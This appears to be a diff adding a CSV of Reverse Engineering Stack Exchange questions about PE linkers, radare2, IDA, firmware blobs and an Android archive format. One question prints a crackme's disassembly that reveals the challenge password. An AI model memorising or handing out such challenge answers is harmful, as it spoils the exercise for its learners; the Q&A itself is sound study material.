diff --git "a/stack_exchange/RE/merged_data.csv" "b/stack_exchange/RE/merged_data.csv" new file mode 100644--- /dev/null +++ "b/stack_exchange/RE/merged_data.csv" @@ -0,0 +1,73039 @@ +Tags,Input +"['binary-analysis', 'pe']"," Title: How to determine number and/or boundaries of linked object files in a PE generated by Visual Studio 6?Body: In this analysis of a Portable Executable linked using Microsoft Linker (6.0), down in the Imported Objects section, the website makes some very specific claims: + +
3 .OBJ Files (COFF) linked with LINK.EXE 5.12 (Visual Studio 5 SP2) (build: 9049)
+4 .OBJ Files (COFF) linked with LINK.EXE 6.00 (Visual Studio 6) (build: 8168)
+178 .C Files compiled with CL.EXE 12.00 (Visual Studio 6) (build: 8168)
+26 .CPP Files compiled with CL.EXE 12.00 (Visual Studio 6) (build: 8168)
+41 .ASM Files assembled with MASM 6.13 (Visual Studio 6 SP1) (build: 7299)
+12 .OBJ Files linked with ALIASOBJ.EXE 6.00 (Internal OLDNAMES.LIB Tool) (build: 7291)
+
+ +As far as I know, all debug information is stripped from the executable, and there certainly aren't 178 embedded ascii strings ending in "".C"". + +The sections in the PE are the usual .text, .rdata, .data, .rsrc. + +What type of additional information or metadata in the EXE could be used to make guesses about the original object files? +" +"['binary-analysis', 'static-analysis', 'exploit', 'binary', 'rop']"," Title: How to reverse engineer a Black Box?Body: I am trying to reverse engineer / research a black box system, this is, a system for which there is no public information at all. Let's say the system is a modern handheld console. + +I have already gathered the followed information and data: + + + +So, I have the memory dumps. What would be an efficient approach? + +First I believe loading it with IDA (or r2) could be helpful. But I don't know how to set up a raw dump in IDA, do i have to load it manually? am i missing something? + +Secondly. The dump is not encrypted. I can find strings, references to strings of programs that run in the system, etc... I guess I can also find code (like .text sections in PC but whatever are called in this system) which I should be able to reverse. Is this theory right? if so, how to put it in practice? how can I find pieces of code? I have tried entropy, which seems to be quite useful; code tends to have high entropy. Technically speaking, how would I load that code in IDA properly? + +Everything is welcome + +EDIT: Run binwalk over the ram dumps. Pretty interesting: +https://gist.github.com/pedro-javierf/2476a1f4f0db72b785e414f77c273512 +" +"['disassembly', 'debugging', 'radare2', 'static-analysis']"," Title: Why does -A (aaa) analysis show much more information, when using the -d (debug) CLI option in Radare2?Body:
+ Why does -A (aaa) analysis show much more information, when using the -d (debug) CLI option in Radare2? +
+ +I'm using the newest version of Radare2 to analyze the Windows application. + +As can be seen below, using the -d (debug) option with -A (aaa) yields more information on the application, e.g. symbols. Why is that? + +Without the -d (debug) CLI option: + +
$ r2 -A WindowsService.exe
+Metadata Signature: 0x8bc 0x10001424a5342 12
+.NET Version: v4.0.30319
+[x] Analyze all flags starting with sym. and entry0 (aa)
+[x] Analyze function calls (aac)
+[x] Analyze len bytes of instructions for references (aar)
+[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
+[x] Type matching analysis for all functions (afta)
+[x] Use -AA or aaaa to perform additional experimental analysis.
+ -- I didn't say that it was working, I said that it's implemented
+[0x00403e92]> afll
+address    size  nbbs edges    cc cost  min bound range max bound  calls locals args xref frame name
+========== ==== ===== ===== ===== ==== ========== ===== ========== ===== ====== ==== ==== ===== ====
+0x00403e92    6     1     0     1    3 0x00403e92     6 0x00403e98     0    0      0    1     0 entry0
+
+ +With the -d (debug) CLI option: + +
$ r2 -d -A WindowsService.exe
+Process with PID 21499 started...
+= attach 21499 21499
+bin.baddr 0x561296b89000
+Using 0x561296b89000
+asm.bits 64
+[x] Analyze all flags starting with sym. and entry0 (aa)
+[x] Analyze function calls (aac)
+[x] Analyze len bytes of instructions for references (aar)
+[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
+[TOFIX: afta can't run in debugger mode.ions (afta)
+[x] Type matching analysis for all functions (afta)
+[x] Use -AA or aaaa to perform additional experimental analysis.
+= attach 21499 21499
+21499
+ -- Use zoom.byte=entropy and press 'z' in visual mode to zoom out to see the entropy of the whole file
+[0x7fb177974090]> afll
+address            size  nbbs edges    cc cost          min bound range max bound          calls locals args xref frame name
+================== ==== ===== ===== ===== ==== ================== ===== ================== ===== ====== ==== ==== ===== ====
+0x0000561296b89000  285     3     2     3  134 0x0000561296b89000   292 0x0000561296b89124     0    0      1    0    24 sym.imp.__libc_start_main
+0x0000561296b8d290    6     1     0     1    3 0x0000561296b8d290     6 0x0000561296b8d296     0    0      0    0     0 sym.imp.sigprocmask
+0x0000561296b8d2a0    6     1     0     1    3 0x0000561296b8d2a0     6 0x0000561296b8d2a6     0    0      0    0     0 sym.imp.raise
+0x0000561296b8d2b0    6     1     0     1    3 0x0000561296b8d2b0     6 0x0000561296b8d2b6     0    0      0    0     0 sym.imp.free
+0x0000561296b8d2c0    6     1     0     1    3 0x0000561296b8d2c0     6 0x0000561296b8d2c6     0    0      0    0     0 sym.imp.strcasecmp
+0x0000561296b8d2d0    6     1     0     1    3 0x0000561296b8d2d0     6 0x0000561296b8d2d6     0    0      0    0     0 sym.imp.abort
+0x0000561296b8d2e0    6     1     0     1    3 0x0000561296b8d2e0     6 0x0000561296b8d2e6     0    0      0    1     0 sym.imp.__errno_location
+0x0000561296b8d2f0    6     1     0     1    3 0x0000561296b8d2f0     6 0x0000561296b8d2f6     0    0      0    0     0 sym.imp._exit
+0x0000561296b8d300    6     1     0     1    3 0x0000561296b8d300     6 0x0000561296b8d306     0    0      0    0     0 sym.imp.strcpy
+0x0000561296b8d310    6     1     0     1    3 0x0000561296b8d310     6 0x0000561296b8d316     0    0      0    0     0 sym.imp.qsort
+0x0000561296b8d320    6     1     0     1    3 0x0000561296b8d320     6 0x0000561296b8d326     0    0      0    0     0 sym.imp.isatty
+0x0000561296b8d330    6     1     0     1    3 0x0000561296b8d330     6 0x0000561296b8d336     0    0      0    0     0 sym.imp.sigaction
+0x0000561296b8d340    6     1     0     1    3 0x0000561296b8d340     6 0x0000561296b8d346     0    0      0    0     0 sym.imp.strtod
+0x0000561296b8d350    6     1     0     1    3 0x0000561296b8d350     6 0x0000561296b8d356     0    0      0    0     0 sym.imp.strchrnul
+0x0000561296b8d360    6     1     0     1    3 0x0000561296b8d360     6 0x0000561296b8d366     0    0      0    0     0 sym.imp.faccessat
+0x0000561296b8d370    6     1     0     1    3 0x0000561296b8d370     6 0x0000561296b8d376     0    0      0    0     0 sym.imp.fcntl
+0x0000561296b8d380    6     1     0     1    3 0x0000561296b8d380     6 0x0000561296b8d386     0    0      0    0     0 sym.imp.write
+0x0000561296b8d390    6     1     0     1    3 0x0000561296b8d390     6 0x0000561296b8d396     0    0      0    1     0 sym.imp.getpid
+0x0000561296b8d3a0    6     1     0     1    3 0x0000561296b8d3a0     6 0x0000561296b8d3a6     0    0      0    0     0 sym.imp.__strtol_internal
+0x0000561296b8d3b0    6     1     0     1    3 0x0000561296b8d3b0     6 0x0000561296b8d3b6     0    0      0    0     0 sym.imp.__xstat64
+0x0000561296b8d3c0    6     1     0     1    3 0x0000561296b8d3c0     6 0x0000561296b8d3c6     0    0      0    0     0 sym.imp.wait3
+0x0000561296b8d3d0    6     1     0     1    3 0x0000561296b8d3d0     6 0x0000561296b8d3d6     0    0      0    0     0 sym.imp.opendir
+0x0000561296b8d3e0    6     1     0     1    3 0x0000561296b8d3e0     6 0x0000561296b8d3e6     0    0      0    0     0 sym.imp.stpcpy
+0x0000561296b8d3f0    6     1     0     1    3 0x0000561296b8d3f0     6 0x0000561296b8d3f6     0    0      0    0     0 sym.imp.strlen
+0x0000561296b8d400    6     1     0     1    3 0x0000561296b8d400     6 0x0000561296b8d406     0    0      0    0     0 sym.imp.chdir
+0x0000561296b8d410    6     1     0     1    3 0x0000561296b8d410     6 0x0000561296b8d416     0    0      0    0     0 sym.imp.__stack_chk_fail
+0x0000561296b8d420    6     1     0     1    3 0x0000561296b8d420     6 0x0000561296b8d426     0    0      0    1     0 sym.imp.getuid
+0x0000561296b8d430    6     1     0     1    3 0x0000561296b8d430     6 0x0000561296b8d436     0    0      0    0     0 sym.imp.dup2
+0x0000561296b8d440    6     1     0     1    3 0x0000561296b8d440     6 0x0000561296b8d446     0    0      0    0     0 sym.imp.strchr
+0x0000561296b8d450    6     1     0     1    3 0x0000561296b8d450     6 0x0000561296b8d456     0    0      0    0     0 sym.imp.warnx
+0x0000561296b8d460    6     1     0     1    3 0x0000561296b8d460     6 0x0000561296b8d466     0    0      0    0     0 sym.imp.__strtoul_internal
+0x0000561296b8d470    6     1     0     1    3 0x0000561296b8d470     6 0x0000561296b8d476     0    0      0    0     0 sym.imp.fnmatch
+0x0000561296b8d480    6     1     0     1    3 0x0000561296b8d480     6 0x0000561296b8d486     0    0      0    0     0 sym.imp.geteuid
+0x0000561296b8d490    6     1     0     1    3 0x0000561296b8d490     6 0x0000561296b8d496     0    0      0    0     0 sym.imp.getcwd
+0x0000561296b8d4a0    6     1     0     1    3 0x0000561296b8d4a0     6 0x0000561296b8d4a6     0    0      0    0     0 sym.imp.close
+0x0000561296b8d4b0    6     1     0     1    3 0x0000561296b8d4b0     6 0x0000561296b8d4b6     0    0      0    0     0 sym.imp.pipe
+0x0000561296b8d4c0    6     1     0     1    3 0x0000561296b8d4c0     6 0x0000561296b8d4c6     0    0      0    0     0 sym.imp.strspn
+0x0000561296b8d4d0    6     1     0     1    3 0x0000561296b8d4d0     6 0x0000561296b8d4d6     0    0      0    0     0 sym.imp.closedir
+0x0000561296b8d4e0    6     1     0     1    3 0x0000561296b8d4e0     6 0x0000561296b8d4e6     0    0      0    0     0 sym.imp.strcspn
+0x0000561296b8d4f0    6     1     0     1    3 0x0000561296b8d4f0     6 0x0000561296b8d4f6     0    0      0    0     0 sym.imp.read
+0x0000561296b8d500    6     1     0     1    3 0x0000561296b8d500     6 0x0000561296b8d506     0    0      0    1     0 sym.imp._setjmp
+0x0000561296b8d510    6     1     0     1    3 0x0000561296b8d510     6 0x0000561296b8d516     0    0      0    0     0 sym.imp.execve
+0x0000561296b8d520    6     1     0     1    3 0x0000561296b8d520     6 0x0000561296b8d526     0    0      0    0     0 sym.imp.__fxstat64
+0x0000561296b8d530    6     1     0     1    3 0x0000561296b8d530     6 0x0000561296b8d536     0    0      0    0     0 sym.imp.strcmp
+0x0000561296b8d540    6     1     0     1    3 0x0000561296b8d540     6 0x0000561296b8d546     0    0      0    0     0 sym.imp.signal
+0x0000561296b8d550    6     1     0     1    3 0x0000561296b8d550     6 0x0000561296b8d556     0    0      0    0     0 sym.imp.getpwnam
+0x0000561296b8d560    6     1     0     1    3 0x0000561296b8d560     6 0x0000561296b8d566     0    0      0    0     0 sym.imp.umask
+0x0000561296b8d570    6     1     0     1    3 0x0000561296b8d570     6 0x0000561296b8d576     0    0      0    0     0 sym.imp.strtol
+0x0000561296b8d580    6     1     0     1    3 0x0000561296b8d580     6 0x0000561296b8d586     0    0      0    0     0 sym.imp.sigfillset
+0x0000561296b8d590    6     1     0     1    3 0x0000561296b8d590     6 0x0000561296b8d596     0    0      0    0     0 sym.imp.memcpy
+0x0000561296b8d5a0    6     1     0     1    3 0x0000561296b8d5a0     6 0x0000561296b8d5a6     0    0      0    0     0 sym.imp.kill
+0x0000561296b8d5b0    6     1     0     1    3 0x0000561296b8d5b0     6 0x0000561296b8d5b6     0    0      0    1     0 sym.imp.getgid
+0x0000561296b8d5c0    6     1     0     1    3 0x0000561296b8d5c0     6 0x0000561296b8d5c6     0    0      0    0     0 sym.imp.tcgetpgrp
+0x0000561296b8d5d0    6     1     0     1    3 0x0000561296b8d5d0     6 0x0000561296b8d5d6     0    0      0    0     0 sym.imp.__xstat
+0x0000561296b8d5e0    6     1     0     1    3 0x0000561296b8d5e0     6 0x0000561296b8d5e6     0    0      0    0     0 sym.imp.readdir
+0x0000561296b8d5f0    6     1     0     1    3 0x0000561296b8d5f0     6 0x0000561296b8d5f6     0    0      0    0     0 sym.imp.malloc
+0x0000561296b8d600    6     1     0     1    3 0x0000561296b8d600     6 0x0000561296b8d606     0    0      0    0     0 sym.imp.killpg
+0x0000561296b8d610    6     1     0     1    3 0x0000561296b8d610     6 0x0000561296b8d616     0    0      0    0     0 sym.imp.getegid
+0x0000561296b8d620    6     1     0     1    3 0x0000561296b8d620     6 0x0000561296b8d626     0    0      0    0     0 sym.imp.strpbrk
+0x0000561296b8d630    6     1     0     1    3 0x0000561296b8d630     6 0x0000561296b8d636     0    0      0    0     0 sym.imp.sigsuspend
+0x0000561296b8d640    6     1     0     1    3 0x0000561296b8d640     6 0x0000561296b8d646     0    0      0    0     0 sym.imp.__vsnprintf_chk
+0x0000561296b8d650    6     1     0     1    3 0x0000561296b8d650     6 0x0000561296b8d656     0    0      0    0     0 sym.imp.setrlimit
+0x0000561296b8d660    6     1     0     1    3 0x0000561296b8d660     6 0x0000561296b8d666     0    0      0    0     0 sym.imp.strsignal
+0x0000561296b8d670    6     1     0     1    3 0x0000561296b8d670     6 0x0000561296b8d676     0    0      0    0     0 sym.imp.realloc
+0x0000561296b8d680    6     1     0     1    3 0x0000561296b8d680     6 0x0000561296b8d686     0    0      0    0     0 sym.imp.sigsetmask
+0x0000561296b8d690    6     1     0     1    3 0x0000561296b8d690     6 0x0000561296b8d696     0    0      0    0     0 sym.imp.__longjmp_chk
+0x0000561296b8d6a0    6     1     0     1    3 0x0000561296b8d6a0     6 0x0000561296b8d6a6     0    0      0    0     0 sym.imp.open64
+0x0000561296b8d6b0    6     1     0     1    3 0x0000561296b8d6b0     6 0x0000561296b8d6b6     0    0      0    0     0 sym.imp.mempcpy
+0x0000561296b8d6c0    6     1     0     1    3 0x0000561296b8d6c0     6 0x0000561296b8d6c6     0    0      0    0     0 sym.imp.memmove
+0x0000561296b8d6d0    6     1     0     1    3 0x0000561296b8d6d0     6 0x0000561296b8d6d6     0    0      0    0     0 sym.imp.setgid
+0x0000561296b8d6e0    6     1     0     1    3 0x0000561296b8d6e0     6 0x0000561296b8d6e6     0    0      0    0     0 sym.imp.getpgrp
+0x0000561296b8d6f0    6     1     0     1    3 0x0000561296b8d6f0     6 0x0000561296b8d6f6     0    0      0    0     0 sym.imp.tcsetpgrp
+0x0000561296b8d700    6     1     0     1    3 0x0000561296b8d700     6 0x0000561296b8d706     0    0      0    0     0 sym.imp.open
+0x0000561296b8d710    6     1     0     1    3 0x0000561296b8d710     6 0x0000561296b8d716     0    0      0    0     0 sym.imp.times
+0x0000561296b8d720    6     1     0     1    3 0x0000561296b8d720     6 0x0000561296b8d726     0    0      0    0     0 sym.imp.strtok
+0x0000561296b8d730    6     1     0     1    3 0x0000561296b8d730     6 0x0000561296b8d736     0    0      0    0     0 sym.imp.sysconf
+0x0000561296b8d740    6     1     0     1    3 0x0000561296b8d740     6 0x0000561296b8d746     0    0      0    0     0 sym.imp.__lxstat64
+0x0000561296b8d750    6     1     0     1    3 0x0000561296b8d750     6 0x0000561296b8d756     0    0      0    0     0 sym.imp.setpgid
+0x0000561296b8d760    6     1     0     1    3 0x0000561296b8d760     6 0x0000561296b8d766     0    0      0    0     0 sym.imp.getppid
+0x0000561296b8d770    6     1     0     1    3 0x0000561296b8d770     6 0x0000561296b8d776     0    0      0    0     0 sym.imp.getrlimit
+0x0000561296b8d780    6     1     0     1    3 0x0000561296b8d780     6 0x0000561296b8d786     0    0      0    0     0 sym.imp.setuid
+0x0000561296b8d790    6     1     0     1    3 0x0000561296b8d790     6 0x0000561296b8d796     0    0      0    0     0 sym.imp.strdup
+0x0000561296b8d7a0    6     1     0     1    3 0x0000561296b8d7a0     6 0x0000561296b8d7a6     0    0      0    0     0 sym.imp.strerror
+0x0000561296b8d7b0    6     1     0     1    3 0x0000561296b8d7b0     6 0x0000561296b8d7b6     0    0      0    0     0 sym.imp.fork
+0x0000561296b8d7c0    6     1     0     1    3 0x0000561296b8d7c0     6 0x0000561296b8d7c6     0    0      0    0     0 sym.imp.__ctype_b_loc
+0x0000561296b8d7d0    6     1     0     1    3 0x0000561296b8d7d0     6 0x0000561296b8d7d6     0    0      0    1     0 sub.__cxa_finalize_7d0
+0x0000561296b8d850  455    25    42    17  155 0x0000561296b8d850   455 0x0000561296b8da17    20    6      2    1   280 main
+0x0000561296b8da20   43     1     0     1   17 0x0000561296b8da20    43 0x0000561296b8da4b     1    0      1    0     8 entry0
+0x0000561296b8da50   40     4     4     4   19 0x0000561296b8da50    50 0x0000561296b8da82     0    0      0    1     8 sub.__environ_32_a50
+0x0000561296b8da90   57     4     4     4   24 0x0000561296b8da90    66 0x0000561296b8dad2     0    0      0    1     8 loc.561296b8da90
+0x0000561296b8dae0   51     5     5     4   24 0x0000561296b8dae0    58 0x0000561296b8db1a     2    0      0    0     0 entry2.fini
+0x0000561296b8db20  124     5     5     4   30 0x0000561296b8da90    10 0x0000561296b8db2a     0    0      0    0     8 entry1.init
+0x0000561296da5fd8   72     1     0     1   33 0x0000561296da5fd8    72 0x0000561296da6020     0    0      0    1     0 reloc.__libc_start_main
+
+" +"['ida', 'disassembly', 'c++', 'c']"," Title: Why are there so much more functions in ida than my source code?Body: I am trying to learn how to use IDA Pro 6.8 to analyze binaries. However, there are much more functions in ida function list than my code. For example, there is a function in source code that calls four callee functions, two global functions and two public function of a class. But, in ida, it has more than ten callees, if I print the line.points.size(). It is recognized as a function in ida. line is my class, points is a vector variable of line. The function in ida is named std::vector<std::vector<Point *,std::allocator<Point *>>,std::allocator<std::vector<Point *,std::allocator<Point *>>>>::size(void). So it caused that the number of callee is not equal to the number in source. Why are there so much more functions that are not defined as function in my source? How can I recognize which function in ida is the function I define and which one is added by ida? +" +"['ida', 'x86']"," Title: IDA Interpreting mov instructions in a unusual wayBody: When analysing mach-o binaries IDA seems to interpret const/literal part of x86 mov instruction(0x8B) as an offset. + +Hex rerpresentation: 8B 40 0A + +Correct assembly: mov eax,DWORD PTR [eax+0x0A] ; 8B 40 0A + +IDA assembly:mov eax, dword ptr ds:(loc_1DF4B8 + 3 - 1DF4B1h)[eax] + +loc_1DF4B8 + 3 - 1DF4B1 = 0x0A so its basicaly the same but the offset part throws of further analysis on the binary. + +Is there any option i'm missing to prevent this from happening or any scriptable way to fix it? + +EDIT: individual instructions can be fixed with s # shortcut +" +"['firmware', 'arm', 'thumb2']"," Title: Confused about a firmware binaryBody: I'm trying to reverse engineer an ARM Thumb2 firmware binary, and I've come across a few oddities. Parts of the file when treated as RGB binary data form perfect images, which seems unusual for a firmware file, and when visualised by turning each byte into a greyscale pixel (0x00 as magenta for clarity) around the middle of the file there's a large section of nulls with 64 strips of data that seem to line up perfectly with a width of 404px: These strips are exactly 8x76 and appear to form pairs. Attempting to extract them and decode as raw image data resulted in garbage, and I'm at a bit of a loss as to what they are and what they're doing in a firmware binary. + +The target processor for this binary is a Xilinx 7000, and the start of the binary does appear to contain FPGA data for this. The binary is at https://drive.google.com/open?id=1rmCRP_mdGLx4QQ4HurL7a3TEiXe_kHn3 and if anyone has any idea as to what those strips (or other parts of the file too, to be honest) might be, that would be amazing. +" +"['disassembly', 'assembly', 'binary-analysis', 'x86']"," Title: Lots of mov instructions into ebp+offset - What is happening?Body: While learning RE I have come across this large segment of instructions that contains a majority of mov [ebp+offset], value instructions. I believe that ebp + offset are local variables? I think? Could it really just be a lot of local variables? Or could it actually be a data structure and this is how IDA represents it? I have a theory of what this might be but if anyone knows what this could mean that would be sweet. +Here's a screenshot: + +My guess is this is actually a data structure. ebp is the base address of the structure. The mov instructions between the mov [...], offset value are padding bytes. I'm guessing they are just padding bytes since esi doesn't contain a value (it was xor-ed with itself at the top of the screenshot) and is mov'd epb + offset quite a lot in this block. +Any ideas and advice on what is happening in this screenshot would be appreciated. Thanks. +" +"['ida', 'idapython']"," Title: IDA rename argument in all xrefs to functionBody: I have a function of the format: + +
sub_ABCDEF(&global, ""stringName"", unimportantValue)
+
+push    offset string
+mov     ecx, offset global
+call    sub_410010
+
+ +That is called in several places, each varying the &global and string location. + +I am wondering if it's possible in IDAPython to bulk rename all the &global's to the string value. + +I used XrefsTo(410010, 0) to obtain a list of places the function is called from, but I am unsure how to get the parameters it was called with. +" +"['android', 'decompress']"," Title: Detect compression algorithm in .NPK archiveBody: I'am trying to unpack Android game archive file (.NPK). + +The game is ""Nvidia Glowball demo"" (it has been pre-installed on my android tablet) + +Archive structure seems to be simple, but I can't decompress the data. + +Archive structure: + +
4 bytes - ""BE EF CA FE"" signature
+4 bytes - File headers count (little-endian)
+[File headers]
+4 bytes - ""BE EF CA FE"" signature
+[Files data]
+
+ +File header structure: + +
4 bytes - File name length (little-endian)
+[File name]
+8 bytes - Unknown (not a checksum, signature?)
+8 bytes - File offset (little-endian)
+8 bytes - Compressed size (little-endian)
+8 bytes - Uncompressed size? (little-endian)
+
+ +File examples: + +initprescenecommon.txt + +Header (10 bytes compressed, 2 bytes uncompressed, unknown field= 1033E64E): + +
A373h: 16 00 00 00 69 6E 69 74 70 72 65 73 63 65 6E 65  ....initprescene 
+A383h: 63 6F 6D 6D 6F 6E 2E 74 78 74 10 33 E6 4E 00 00  common.txt.3.N.. 
+A393h: 00 00 F3 45 41 01 00 00 00 00 0A 00 00 00 00 00  ...EA........... 
+A3A3h: 00 00 02 00 00 00 00 00 00 00                    ..........
+
+ +Data: + +
141:45F3h: 1A F3 84 8A 6F 6F 6A 49 62 77                    ....oojIbw
+
+ +teleporter1_enter.txt + +Header (10 bytes compressed, 2 bytes uncompressed, unknown field= 1933E64E): + +
A490h: 15 00 00 00 74 65 6C 65 70 6F 72 74 65 72 31 5F  ....teleporter1_ 
+A4A0h: 65 6E 74 65 72 2E 74 78 74 19 33 E6 4E 00 00 00  enter.txt.3.N... 
+A4B0h: 00 58 52 41 01 00 00 00 00 0A 00 00 00 00 00 00  .XRA............ 
+A4C0h: 00 02 00 00 00 00 00 00 00                       .........
+
+ +Data: + +
141:5258h: 1A F3 84 8A 6F 6F 6A 49 62 77                    ....oojIbw
+
+ +grate_enter.txt + +Header (19 bytes compressed, 11 bytes uncompressed, unknown field= 1033E64E): + +
A1A8h: 0F 00 00 00 67 72 61 74 65 5F 65 6E 74 65 72 2E  ....grate_enter. 
+A1B8h: 74 78 74 10 33 E6 4E 00 00 00 00 8E 33 41 01 00  txt.3.N.....3A.. 
+A1C8h: 00 00 00 13 00 00 00 00 00 00 00 0B 00 00 00 00  ................ 
+A1D8h: 00 00 00                                         ...
+
+ +Data: + +
141:338Eh: 1A F3 94 40 25 A2 19 40 28 43 2E 8A 88 6D 6A 77  ...@%..@(C...mjw 
+141:339Eh: 10 6C FA                                         .l.
+
+ +Theese three files have compressed size bigger than uncompressed. I think this happens because theese are text files. +For example balltextures_entrance.nma file has 338 bytes compressed and 3263 bytes uncompressed. + +Note that initprescenecommon.txt and teleporter1_enter.txt have same data, but differ ""unknown field"". + +Does anyone have some ideas? +" +"['binary-analysis', 'radare2', 'binary', 'breakpoint']"," Title: Debug point not hit with radare2Body: I am doing this reverse engenering challenge. I executed theses commands to analyse the main function : + +
radare2.exe ch15.exe
+aaa
+s main
+pdf
+
+ +This is the output of the pdf command : + +
[0x004017b8]> pdf
+/ (fcn) main 80
+|   main (int argc, char **argv, char **envp);
+|           ; arg signed int arg_8h @ ebp+0x8
+|           ; arg char **s @ ebp+0xc
+|           ; var size_t local_4h @ esp+0x4
+|           ; CALL XREF from section..text (+0x3f4)
+|           0x004017b8      55             push ebp
+|           0x004017b9      89e5           mov ebp, esp
+|           0x004017bb      83e4f0         and esp, 0xfffffff0
+|           0x004017be      83ec10         sub esp, 0x10
+|           0x004017c1      e87a0d0000     call fcn.00402540
+|           0x004017c6      837d0801       cmp dword [arg_8h], 1       ; [0x8:4]=-1 ; 1
+|       ,=< 0x004017ca      7e28           jle 0x4017f4
+|       |   0x004017cc      8b450c         mov eax, dword [s]          ; [0xc:4]=-1 ; 12
+|       |   0x004017cf      83c004         add eax, 4
+|       |   0x004017d2      8b00           mov eax, dword [eax]
+|       |   0x004017d4      890424         mov dword [esp], eax        ; const char *s
+|       |   0x004017d7      e894100000     call sub.msvcrt.dll_strlen_870 ; size_t strlen(const char *s)
+|       |   0x004017dc      89c2           mov edx, eax
+|       |   0x004017de      8b450c         mov eax, dword [s]          ; [0xc:4]=-1 ; 12
+|       |   0x004017e1      83c004         add eax, 4
+|       |   0x004017e4      8b00           mov eax, dword [eax]
+|       |   0x004017e6      89542404       mov dword [local_4h], edx
+|       |   0x004017ea      890424         mov dword [esp], eax
+|       |   0x004017ed      e834ffffff     call sub.Gratz_man_:_726    ; sub.Usage:__s_pass_700+0x26
+|      ,==< 0x004017f2      eb0d           jmp 0x401801
+|      ||   ; CODE XREF from main (0x4017ca)
+|      |`-> 0x004017f4      8b450c         mov eax, dword [s]          ; [0xc:4]=-1 ; 12
+|      |    0x004017f7      8b00           mov eax, dword [eax]
+|      |    0x004017f9      890424         mov dword [esp], eax
+|      |    0x004017fc      e8fffeffff     call sub.Usage:__s_pass_700
+|      |    ; CODE XREF from main (0x4017f2)
+|      `--> 0x00401801      b800000000     mov eax, 0
+|           0x00401806      c9             leave
+\           0x00401807      c3             ret
+[0x004017b8]>
+
+ +I can see that a function is called named sub.Usage:__s_pass_700, probably the password. I go to this function with this command : + +
s sub.Usage:__s_pass_700
+pdf
+
+ +The output is : + +
[0x00401700]> pdf
+/ (fcn) sub.Usage:__s_pass_700 184
+|   sub.Usage:__s_pass_700 (int arg_8h, unsigned int arg_ch);
+|           ; var int local_ch @ ebp-0xc
+|           ; arg int arg_8h @ ebp+0x8
+|           ; arg unsigned int arg_ch @ ebp+0xc
+|           ; var int local_4h @ esp+0x4
+|           ; CALL XREF from main (0x4017fc)
+|           0x00401700      55             push ebp
+|           0x00401701      89e5           mov ebp, esp
+|           0x00401703      83ec18         sub esp, 0x18
+|           0x00401706      b844404000     mov eax, str.Usage:__s_pass ; 0x404044 ; ""Usage: %s pass""
+|           0x0040170b      8b5508         mov edx, dword [arg_8h]     ; [0x8:4]=-1 ; 8
+|           0x0040170e      89542404       mov dword [local_4h], edx
+|           0x00401712      890424         mov dword [esp], eax        ; const char *format
+|           0x00401715      e896110000     call sub.msvcrt.dll_printf_8b0 ; int printf(const char *format)
+|           0x0040171a      c70424000000.  mov dword [esp], 0
+|           0x00401721      e87a110000     call sub.msvcrt.dll_exit_8a0
+|           ;-- sub.Gratz_man_:_726:
+|           ; CALL XREF from main (0x4017ed)
+|           0x00401726      55             push ebp
+|           0x00401727      89e5           mov ebp, esp
+|           0x00401729      83ec28         sub esp, 0x28               ; '('
+|           0x0040172c      c745f4000000.  mov dword [local_ch], 0
+|           0x00401733      837d0c07       cmp dword [arg_ch], 7       ; [0xc:4]=-1 ; 7
+|       ,=< 0x00401737      7571           jne 0x4017aa
+|       |   0x00401739      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8
+|       |   0x0040173c      0fb600         movzx eax, byte [eax]
+|       |   0x0040173f      3c53           cmp al, 0x53                ; 'S' ; 83
+|      ,==< 0x00401741      7567           jne 0x4017aa
+|      ||   0x00401743      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8
+|      ||   0x00401746      83c001         add eax, 1
+|      ||   0x00401749      0fb600         movzx eax, byte [eax]
+|      ||   0x0040174c      3c50           cmp al, 0x50                ; 'P' ; 80
+|     ,===< 0x0040174e      755a           jne 0x4017aa
+|     |||   0x00401750      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8
+|     |||   0x00401753      83c002         add eax, 2
+|     |||   0x00401756      0fb600         movzx eax, byte [eax]
+|     |||   0x00401759      3c61           cmp al, 0x61                ; 'a' ; 97
+|    ,====< 0x0040175b      754d           jne 0x4017aa
+|    ||||   0x0040175d      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8
+|    ||||   0x00401760      83c003         add eax, 3
+|    ||||   0x00401763      0fb600         movzx eax, byte [eax]
+|    ||||   0x00401766      3c43           cmp al, 0x43                ; 'C' ; 67
+|   ,=====< 0x00401768      7540           jne 0x4017aa
+|   |||||   0x0040176a      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8
+|   |||||   0x0040176d      83c004         add eax, 4
+|   |||||   0x00401770      0fb600         movzx eax, byte [eax]
+|   |||||   0x00401773      3c49           cmp al, 0x49                ; 'I' ; 73
+|  ,======< 0x00401775      7533           jne 0x4017aa
+|  ||||||   0x00401777      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8
+|  ||||||   0x0040177a      83c005         add eax, 5
+|  ||||||   0x0040177d      0fb600         movzx eax, byte [eax]
+|  ||||||   0x00401780      3c6f           cmp al, 0x6f                ; 'o' ; 111
+| ,=======< 0x00401782      7526           jne 0x4017aa
+| |||||||   0x00401784      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8
+| |||||||   0x00401787      83c006         add eax, 6
+| |||||||   0x0040178a      0fb600         movzx eax, byte [eax]
+| |||||||   0x0040178d      3c53           cmp al, 0x53                ; 'S' ; 83
+| ========< 0x0040178f      7519           jne 0x4017aa
+| |||||||   0x00401791      b853404000     mov eax, str.Gratz_man_:    ; 0x404053 ; ""Gratz man :)""
+| |||||||   0x00401796      890424         mov dword [esp], eax        ; const char *format
+| |||||||   0x00401799      e812110000     call sub.msvcrt.dll_printf_8b0 ; int printf(const char *format)
+| |||||||   0x0040179e      c70424000000.  mov dword [esp], 0
+| |||||||   0x004017a5      e8f6100000     call sub.msvcrt.dll_exit_8a0
+| |||||||   ; XREFS: CODE 0x00401737  CODE 0x00401741  CODE 0x0040174e  CODE 0x0040175b  CODE 0x00401768
+| |||||||   ; XREFS: CODE 0x00401775  CODE 0x00401782  CODE 0x0040178f
+| ```````-> 0x004017aa      c70424604040.  mov dword [esp], str.Wrong_password ; [0x404060:4]=0x6e6f7257 ; ""Wrong password"" ; const char *s
+|           0x004017b1      e802110000     call sub.msvcrt.dll_puts_8b8 ; int puts(const char *s)
